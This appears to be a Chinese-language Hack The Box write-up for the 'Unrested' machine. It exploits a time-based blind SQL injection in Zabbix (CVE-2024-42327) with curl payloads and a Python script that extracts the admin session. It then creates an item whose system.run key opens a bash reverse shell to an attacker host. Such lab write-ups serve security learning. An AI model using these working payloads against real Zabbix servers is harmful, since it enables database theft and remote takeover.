HTB_Unrested(思路)

admin 2024年12月23日13:48:43评论27 views字数 6807阅读22分41秒阅读模式

HTB_Unrested

linux(Med)

总结

有效步骤:

CVE-2024-42327(时间盲注)->RCE->sudo -l

这个CVE的利用方式就是盲注得到admin的session,它才有权限执行RCE

学到了nmap额外的sudo 提权

对于CVE-2024-42327:

先看看源码吧,github都更新了,zabbix7.0看不到这个代码了(Saikawings师傅说在branches里),这里是wp分析的,主要是这个addRelatedObjects函数里,存在直接拼接语句

https://github.com/zabbix/zabbix/blob/release/7.0/ui/include/classes/api/services/CUser.php#L3033(嘶,我没找到这块代码),是wp里摘取的

if($options['selectRole']!==null&&$options['selectRole']!==
API_OUTPUT_COUNT){
if($options['selectRole']=== API_OUTPUT_EXTEND){
$options['selectRole']=['roleid','name','type','readonly'];
}
$db_roles=DBselect(
'SELECT u.userid'.($options['selectRole']?',r.'.implode(',r.',
$options['selectRole']):'').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid',$userIds)
);
foreach($resultas$userid=>$user){
$result[$userid]['role']=[];
}
while($db_role=DBfetch($db_roles)){
$userid=$db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role']=$db_role;
}
}
return$result;

拼接点在这里 ($options['selectRole'] ? ',r.'.implode(',r.',$options['selectRole']) : '')

它是作为列名,而不是where id = 这种

["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"]

{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":{"roleid":"1","r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}

#也就是
SELECT u.userid, r.roleid, r.name AND(SELECT1FROM(SELECT SLEEP(5))A)
FROM users u, role r
WHERE u.roleid = r.roleid

#通过在自己的mysql尝试
select username AND(SELECT1FROM(SELECT IF(LENGTH(database())>5, SLEEP(5),0))A)from users where id=1;#这个是成功的

#同理,这个也成功
time curl --request POST
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php'
--header 'Content-Type: application/json'
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":
["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT IF(LENGTH(database()) > 5, SLEEP(5), 0))A)"],"editable":1},"auth":"b3f28db10a3802fb58fcaf362eef9755","id":1}'

#尝试爆字段,
select username AND (SELECT 1 FROM (SELECT IF(LENGTH((select username from users where id=1))>1, SLEEP(5),0))A)from users where id=1;
#这里的表名和字段名是参照了CVE-2024-22120-RCE.py给的query语句
time curl --request POST
--url '
http://10.10.11.50/zabbix/api_jsonrpc.php'
--header '
Content-Type: application/json'
--data '
{"jsonrpc":"2.0","method":"user.get","params":{"output":
["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT IF(LENGTH((select sessionid from sessions limit 1)) > 1, SLEEP(5), 0))A)"],"editable":1},"auth":"b3f28db10a3802fb58fcaf362eef9755","id":1}'

#那么代码就知道怎么写了

代码,GPT写一个盲注获得admin的session,数据库和表名、字段直接参考了https://github.com/W01fh4cker/CVE-2024-22120-RCE?tab=readme-ov-fileCVE-2024-22120-RCE.py(这个py爆破时得到的session长度不全,而且后面利用的接口貌似不对),接口呢,参考了:https://www.zabbix.com/documentation/current/en/manual/api、官方wp

import requests
import time,json

# 目标URL
url ="http://10.10.11.50/zabbix/api_jsonrpc.php"# 替换成实际的目标URL

# 注入的请求头
headers ={
'Content-Type':'application/json'
}

# 字符集,这里我们使用常见的字符集来爆破
charset ="abcdef0123456789"

# 爆破开始的位置
current_guess =""
loginpayload={
"jsonrpc":"2.0",
"method":"user.login",
"params":{
"username":"matthew",
"password":"96qzn0h2e1k3"
},
"id":1
}
auth_token=""
res1=requests.post(url,json=loginpayload)
if res1.status_code ==200:
    auth_token=res1.json().get("result")
print(f"Auth_token:{auth_token}")
else:
print(f"Error!")

# 定义注入点:假设我们猜测的是 "username" 的值
defsend_request(payload):
try:
        response = requests.post(url, headers=headers, data=payload)
return response
exceptExceptionas e:
print(f"Error sending request: {e}")
returnNone

# 获取当前字符的响应时间
defget_response_time(payload):
    start_time = time.time()
    response = send_request(payload)
    end_time = time.time()

if response isNone:
returnNone

    response_time = end_time - start_time
return response_time

# 爆破每个字符
defguess_character(position):
global current_guess

# 逐个字符尝试每个字符集中的字符
for char in charset:
# 构造新的猜测字符串
        guess = current_guess + char

# 替换payload中的username

        query =f" AND (SELECT 1 FROM (SELECT IF(substr((select sessionid from sessions where userid=1 limit 1),{position}, 1) = '{char}', SLEEP(5), 0))A)"
        payload ={
"jsonrpc":"2.0",
"method":"user.get",
"params":{
"output":["userid","username"],
"selectRole":["roleid","name"+query],
"editable":1
},
"auth":f"{auth_token}",
"id":1
}

# 获取该猜测的响应时间
        response_time = get_response_time(json.dumps(payload))
print(json.dumps(payload))
if response_time isNone:
print("Request failed")
returnNone

print(f"Trying: {guess} | Response time: {response_time:.3f} seconds")

# 如果响应时间超过某个阈值,说明这个字符是正确的
# 比如假设超过 2 秒我们就认为这个字符是正确的
if response_time >=5:
            current_guess = guess
print(f"Found character: {char} | Current guess: {current_guess}")
returnTrue

returnFalse

# 爆破目标字段
defbrute_force_target():
global current_guess
    target_length =32# 假设我们知道目标字段的最大长度为20

for position inrange(1, target_length +1):
print(f"Brute-forcing position {position}...")

# 循环尝试每个字符直到猜中
whilenot guess_character(position):
print("Retrying...")

print(f"Final result: {current_guess}")

defadminpost(gtoken):
    headers2={
"Content-Type":"application/json-rpc",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
    payload2 ={"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":gtoken,"id":1}
    res = requests.post(url, headers=headers2, data=json.dumps(payload2))
print(res.text)
# 开始爆破
if __name__ =="__main__":
    brute_force_target()
#adminpost(current_guess) 发现代码验证成功就可以注释掉,得到hostid是10084即可,避免token是一次性的浪费了,

RCE代码审计

curl --request POST 
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php'
--header 'Content-Type: application/json-rpc'
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '''bash -i >& /dev/tcp/kaliip/3535 0>&1''']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"a96ea845d40fb29e9799b2a0439f7317","id":1}'

没在源码找到这个,不过有一个测试用例,可能是这个

https://github.com/zabbix/zabbix/blob/release/7.0/ui/tests/integration/testAgentJsonProtocol.php

$response=$this->call('item.create',[
[
'name'=>'run',
'key_'=>'system.run[sleep 5 && echo ok]',
'hostid'=>self::$hostid,
'type'=> ITEM_TYPE_ZABBIX,
'value_type'=> ITEM_VALUE_TYPE_TEXT,
'timeout'=>'6s',
'delay'=>'7s',
'interfaceid'=>self::$interfaceid
]
]);
$this->assertArrayHasKey('itemids',$response['result']);
$this->assertEquals(1,count($response['result']['itemids']));
self::$itemid=$response['result']['itemids'][0];

$response=$this->call('item.create',[
[
'name'=>self::TRAPPER_KEY,
'key_'=>self::TRAPPER_KEY,
'type'=> ITEM_TYPE_TRAPPER,
'hostid'=>self::$hostid,
'value_type'=> ITEM_VALUE_TYPE_UINT64
]
]);

参考

wp:师傅们群里讨论

https://github.com/aramosf/cve-2024-42327

https://github.com/W01fh4cker/CVE-2024-22120-RCE?tab=readme-ov-file

https://www.zabbix.com/documentation/current/en/manual/api

https://github.com/sqlmapproject/sqlmap

https://github.com/zabbix/zabbix/blob/release/7.0/ui/tests/integration/testAgentJsonProtocol.php

https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/blob/main/MySQL%20-%20Time%20Based%20SQLi/README.md#detecting-the-vulnerability

原文始发于微信公众号(羽泪云小栈):HTB_Unrested(思路)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月23日13:48:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB_Unrested(思路)https://cn-sec.com/archives/3540503.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息